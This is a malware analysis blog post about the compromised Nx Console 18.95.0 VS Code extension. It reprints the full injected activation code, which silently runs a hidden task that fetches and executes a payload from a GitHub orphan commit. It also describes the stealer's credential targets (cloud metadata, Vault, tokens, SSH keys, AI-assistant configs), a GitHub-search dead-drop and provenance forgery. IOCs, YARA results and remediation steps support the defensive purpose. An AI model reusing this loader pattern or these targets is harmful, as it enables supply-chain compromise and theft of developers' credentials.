Nx Console 18.95.0: 2,777 Bytes That Hijacked a 2.2M-Install VS Code Extension

A single bundled JavaScript file inside the Nx Console VSIX received a 2,777-byte injection that ran arbitrary code from a GitHub orphan commit on every workspace open. We pulled the sample and ran our own YARA over it.

Ali Mosajjal
#malware#vscode-extensions#supply-chain#nx#yara#research

Nx Console 18.95.0: 2,777 Bytes That Hijacked a 2.2M-Install VS Code Extension

On May 18 the Nx team had a bad afternoon. Someone with VSCE_PAT access to the nrwl.angular-console publisher account pushed version 18.95.0 to the VS Code Marketplace at 12:30 UTC. The Nx maintainers pulled it 17 minutes later. In that window, by Nx's own analytics, about 6,000 developer machines fetched the malicious VSIX. The extension has more than 2.2 million installs total, so this could have been worse by three orders of magnitude.

The interesting thing about this one isn't the payload — the payload is the usual cloud-and-CI credential vacuum, and StepSecurity already wrote the careful technical breakdown of it. The interesting thing is how small the attacker's footprint inside the extension was, and how plausibly it sat in a legitimate-looking spot. They edited exactly one file inside a 24 MB VSIX, in one place, with 2,777 bytes of code that look like Nx code. The actual stealer never shipped in the extension at all.

We never scraped 18.95.0. Risky Plugins picks up Nx Console weekly, and the 17-minute window closed on a Monday between our scrapes. So we missed it in the wild. But the sample is on MalwareBazaar now (Kaspersky calls it UDS:Worm.Script.Shulud.a), so I pulled it and ran it through our analyzer stack to see what would have happened if we had caught it.

Verifying we're looking at the right thing

The MalwareBazaar zip unpacks to a single file with this hash:

1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8  nrwl.angular-console-18.95.0.vsix

That matches the SHA-256 in the Nx security advisory and in StepSecurity's report. Inside the VSIX (a VSIX is just a zip), extension/main.js hashes to:

b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74  main.js

That's the bundled Nx Console runtime. 7,719,408 bytes. One file, all of Nx Console's logic in it.

Everything else in the VSIX is unchanged from a clean Nx Console build. nxls, nx.wasi.cjs, the webview assets, the node_modules/ carry-along, the icons — none of it is touched. The attacker did a single surgical change.

The 2,777 bytes

Bundled VS Code extensions are essentially one giant minified JS file. Reading them by hand is painful but not impossible if you know what to look for. In this case StepSecurity gave the offset: main.js byte 7,703,700, length 2,777 bytes.

dd if=main.js of=injection.js bs=1 skip=7703700 count=2777

That gives you the entire malicious change. The whole thing is reproduced below, lightly reformatted so it fits on a screen:

var U0 = require('vscode'),
	G5t = '558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2',
	xfn = 'nxConsole.mcpExtensionInstalledSha',
	$xs = new Set([127, 9009]);

async function Uxs(t, e) {
	try {
		let n = `npx -y github:nrwl/nx#${G5t}`,
			i = new U0.Task(
				{ type: 'nx' },
				U0.TaskScope.Workspace,
				'install-mcp-extension',
				'nx',
				new U0.ShellExecution(n, {
					cwd: e,
					env: { ...process.env, NX_CONSOLE: 'true' }
				})
			);
		i.presentationOptions.focus = !1;
		await new Promise((o) => {
			let l = U0.tasks.onDidEndTaskProcess((f) => {
				if (f.execution.task === i) {
					l.dispose();
					let m = f.exitCode ?? 0;
					m === 0
						? t.globalState.update(xfn, G5t)
						: $xs.has(m) ||
							oA('Failed to install MCP extension', new Error(`Process exited with code ${m}`));
					o();
				}
			});
			U0.tasks.executeTask(i).then(void 0, (f) => {
				l.dispose();
				oA(
					'Failed to start MCP extension install task',
					f instanceof Error ? f : new Error(String(f))
				);
				o();
			});
		});
	} catch (n) {
		oA(
			'Unexpected error while installing MCP extension',
			n instanceof Error ? n : new Error(String(n))
		);
	}
}

function Efn(t) {
	if (t.globalState.get(xfn) !== G5t) {
		let n = U0.workspace.workspaceFolders && U0.workspace.workspaceFolders[0].uri.fsPath;
		Uxs(t, n ?? void 0);
	}
	// ... legitimate-looking "nx.init" command registration below
}

That's it. That's the malware in the extension. Read it twice — it really is this short.

What it does: on workspace activation, check whether a key nxConsole.mcpExtensionInstalledSha in the extension's persistent global state matches the constant 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. If it doesn't (which on a fresh install it never will), spawn a VS Code Task that runs npx -y github:nrwl/nx#558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. Once that task exits 0, write the hash to global state so the spawn doesn't fire again.

npx -y github:org/repo#sha is a real, supported npm CLI form. It tells npm to fetch the repo at that exact git SHA, install it as a one-off package, and execute its bin entry. If you push an orphan commit to a public repo whose package.json declares a bin, you have a working malware delivery system on top of GitHub. That's exactly what the attacker did. The orphan commit 558b09d7... was pushed to nrwl/nx directly — the repo the extension is supposed to manage — with a two-file tree: a 498,567-byte obfuscated index.js payload, and a package.json that pointed bin at it.

What makes this design good

A few things, in declining order of how much I respect them:

The task is named install-mcp-extension. Read that and you'd shrug. Nx Console actually does ship an MCP server and would plausibly want to "install" something MCP-related. If you happened to see this task fire in the VS Code task panel during workspace open, you would not immediately think "credential theft." You'd think "huh, weird new feature."

The persistence is the persistence key itself. nxConsole.mcpExtensionInstalledSha — a thing this VS Code extension stores between sessions to remember whether it has installed the MCP extension. That sentence reads as a sentence. There is no obvious malicious tell in any of the identifiers; G5t, Uxs, Efn are esbuild-style mangled names that match the rest of the bundle. The shape of the code, including the oA(...) error reporter, matches how the surrounding Nx Console code is written.

presentationOptions.focus = !1 suppresses the terminal pane from grabbing focus when the task runs. The task still appears in the task list, but most developers don't watch the task list during VS Code startup.

The exit-code-127-or-9009 swallow. 127 is "command not found" on POSIX, 9009 is the Windows equivalent. If npx isn't on PATH, the malicious task silently exits and never calls the error reporter. Quiet failures on machines without Node, loud nothing on machines with it.

The execution channel is a VS Code Task instead of a raw child_process.exec. Tasks go through VS Code's own task runner, which means the spawn shows up in VS Code telemetry as part of normal extension behavior, and it inherits whatever shell and environment the user has configured. From the operating system's point of view this is the user running npx in their workspace. From any EDR that's not specifically tuned to VS Code task semantics, this is a developer doing developer things.

What makes this design bad — and what saved most of the install base — is the part where you have to push an unsigned orphan commit to a high-traffic public repository to deliver the payload. The Nx team noticed within seventeen minutes. If the delivery channel had been a private CDN under attacker control, this would have been live for hours or days.

What the second stage was doing

I don't have the orphan commit's index.js. The git objects are gone from GitHub — the orphan commit was force-deleted, the dangling blobs got garbage collected, and Software Heritage doesn't have them either. So I'm relying on the writeups for this part.

The 498 KB index.js was a javascript-obfuscator-style blob that, on execution, ran six parallel collectors against the host:

The targets matter more than the techniques. They were going after AWS instance metadata (both EC2 IMDS and ECS task role endpoints, 169.254.169.254 and 169.254.170.2), HashiCorp Vault on localhost:8200, npm config files including OIDC tokens, GitHub tokens by regex (ghp_, gho_, ghs_), 1Password CLI vault dumps, SSH private keys, and ~/.claude/settings.json — that last one is what got my attention. As far as I can tell this is one of the first supply-chain payloads I've seen that explicitly targets an AI coding assistant's configuration.

Exfiltration went out over three channels in parallel: regular HTTPS to a C2 domain that's encrypted in the payload and only decrypted at runtime, the GitHub API (the attacker had stolen tokens and used them as their own delivery infrastructure), and DNS tunneling for anything the first two couldn't get past egress controls.

The macOS variant dropped a Python backdoor at ~/.local/share/kitty/cat.py with a LaunchAgent at ~/Library/LaunchAgents/com.user.kitty-monitor.plist. The Python backdoor uses api.github.com/search/commits?q=firedalazer as a dead-drop resolver — the attacker just creates commits whose messages contain that string and embed RSA-signed payload URLs, the backdoor polls the search API and pulls down whatever is being signed. It's elegant, in a horrible way: GitHub's own search index is the C2.

Then there's the part that I think will get more attention in the next few weeks: the payload ships full Sigstore integration. Fulcio for cert issuance, Rekor for transparency log entries, all of it. Combined with stolen npm OIDC tokens (which it would extract from CI environments it ran on), the attacker could publish new malicious npm packages with cryptographically valid SLSA provenance attestations. The first downstream npm package poisoned this way would have looked, to every tool that trusts npm provenance, like a legitimately signed build.

Running our own YARA over it

We ship around 2,400 YARA rules against every extension we analyze. They cover everything from broad code-smell heuristics through targeted malware family signatures. I wanted to know two things:

First, would our rules have flagged the 2,777-byte injection on its own?

$ yr compile -o cveq.yarc analyzers/yararules/rules/*.yar
$ yr scan --compiled-rules cveq.yarc injection.js
credential_env_files       injection.js
postinstall_system_command injection.js

Two hits. Both are correct.

postinstall_system_command fires on ShellExecution and exec — the rule is looking for any executable code that invokes a shell at install or activation time. That's the central tell here. The malicious behavior is that activation runs a shell.

credential_env_files fires on the env keyword. Looking at the rule it's actually meant to catch .env file references, and it matched on the env: { ...process.env, NX_CONSOLE: "true" } block — the rule isn't very precise, but it's tripping on a real signal: the injection is reading and forwarding the full process environment to a child process. Forwarding process.env wholesale into something you're about to spawn is exactly what credential-stealing wrappers do.

Both rules belong to our "code-smell" tier in the V7 scoring system — they're individually noisy and we discount them heavily in the score. But on a 2,777-byte snippet, two of them firing with surgical hits is a strong signal. The contributor mass of legitimate code dropping out makes the precision tier-up.

Second, what does the rule set say about the full main.js?

The full file pulls 20+ rule matches, which is expected. Bundle 24 MB of legitimate Node code into one file and you'll trip on postinstall_file_download, postinstall_network_communication, postinstall_persistence_mechanism, weak-random detectors, SQL-injection patterns, and so on, all of which are present somewhere in Nx Console's actual feature set. One of the hits is a 2014-era YARA rule for a .NET RAT called "Bolonyokte" — that's a false positive driven by a rule that fires when FtpUrl, ScreenCapture, CaptureMouse, and UploadFile all appear in the same file, which they coincidentally do across various Nx Console features. Those large-scope hits don't tell you anything useful on their own.

The combination is what would have caught it. If we'd scraped 18.95.0, we'd have generated a delta against the clean 18.94.0 build. The 2,777-byte injection would have been the only structural difference. Two of our code-smell rules firing exclusively on the new bytes, while none of them fire on the same coordinates in the previous version, would have driven the per-file risk subscore high enough to escalate. That's the diff-based detection model we've been moving toward, and this is exactly the case it's designed for.

What I keep coming back to

Three things about this attack are going to outlast it.

One: the attacker's stage-1 was 2,777 bytes. You can read it in a sitting. There is nothing exotic in it — it's basic VS Code extension API code that runs a child process. No obfuscation, no packing, no environmental keying. The cleverness is entirely social: the names look like Nx Console, the code shape looks like Nx Console, the persistence key reads like a Nx Console feature. We are about to enter a long period where the boundary between "malicious supply chain change" and "innocent maintainer feature commit" is going to be measured in identifier naming and code-style mimicry.

Two: npx github:org/repo#sha is a delivery channel. It will be used again, by other people, against other repos. The pattern is structurally simple: get push access to any popular npm-distributed repo, push an orphan commit with a bin payload, ship a tiny stub from somewhere else (an extension update, an npm minor version, a malicious dependency several layers deep) that calls npx at that SHA. Public-repo CDNs are not designed to refuse to serve commits that nobody is pointed at by a branch. That's a problem you can't fix on GitHub's side without breaking enormous amounts of legitimate workflow.

Three: AI assistant config is now a credential target. Anthropic's ~/.claude/settings.json, OpenAI's analogous config, whatever Cursor and Continue and Cline persist — these contain API keys with model-usage billing attached, and increasingly they contain MCP server configurations that are themselves credential bundles for downstream systems. The first time a stealer like this one drops the value of every config file in ~/.config/ and ~/Library/Application Support/ onto an attacker server, half the credential graph for a developer's life leaks at once. That's where the next several years of this are going, and the Nx Console payload is the first one I've seen do it on purpose.

Indicators of compromise

Hashes:

  • VSIX nrwl.angular-console-18.95.0.vsix: 1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8
  • Patched main.js inside that VSIX: b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74
  • Stage-2 index.js (from the orphan commit, 498,567 bytes): e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1
  • Dropper package.json (from the orphan commit): 43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9
  • Clean baseline 18.94.0: 228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3
  • Remediated 18.100.0: cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990

Git objects in nrwl/nx (now garbage-collected, not retrievable):

  • Orphan commit 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2
  • Tree ba642fe2c7c65e42dd7f6444b83023dc6827e08c
  • index.js blob acfc3f957a63b4cde93ff645f2b6bf26a8ed1bbf
  • package.json blob 9d88f040c44b5f4d5f9db15ff89310776c168e99

Network indicators:

  • api.github.com/search/commits?q=firedalazer — kitty backdoor dead-drop
  • AWS metadata probes against 169.254.169.254 and 169.254.170.2
  • Vault probe to 127.0.0.1:8200
  • Sigstore endpoints fulcio.sigstore.dev and rekor.sigstore.dev (abused, not malicious infra)

Host artifacts (the macOS "kitty" backdoor):

  • ~/.local/share/kitty/cat.py
  • ~/Library/LaunchAgents/com.user.kitty-monitor.plist
  • /var/tmp/.gh_update_state
  • /tmp/kitty-*
  • Python process running cat.py
  • Any process with __DAEMONIZED=1 in its environment

VS Code state to check (this one is on us — the maintainers cleaned up the rest):

  • Extension global state key nxConsole.mcpExtensionInstalledSha with value 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 means this extension ran the malicious task at least once on this machine.

If you're affected

Update Nx Console to 18.100.0 or later. The clean SHA-256 for that build is in the IOC list above. Rotate everything: GitHub tokens, npm tokens, AWS credentials, Vault tokens, SSH keys, anything in .env files in any workspace you opened in VS Code while 18.95.0 was installed, anything in ~/.claude/settings.json. Kill any running cat.py or __DAEMONIZED=1 processes and remove the persistence artifacts. The Nx team's official advisory has the full remediation steps and they're worth following exactly.

If you run a VS Code extension scanner or an EDR with any kind of YARA capability, the two rules that caught this on our side (credential_env_files and postinstall_system_command) are good prior art for the kind of cheap, broad-scope rule that wins against this class of attack. The injection is small enough that anything precise enough to match the malicious shape would also match a thousand innocuous code patterns. Broad rules with a diff-based confidence boost are the actually-tractable model.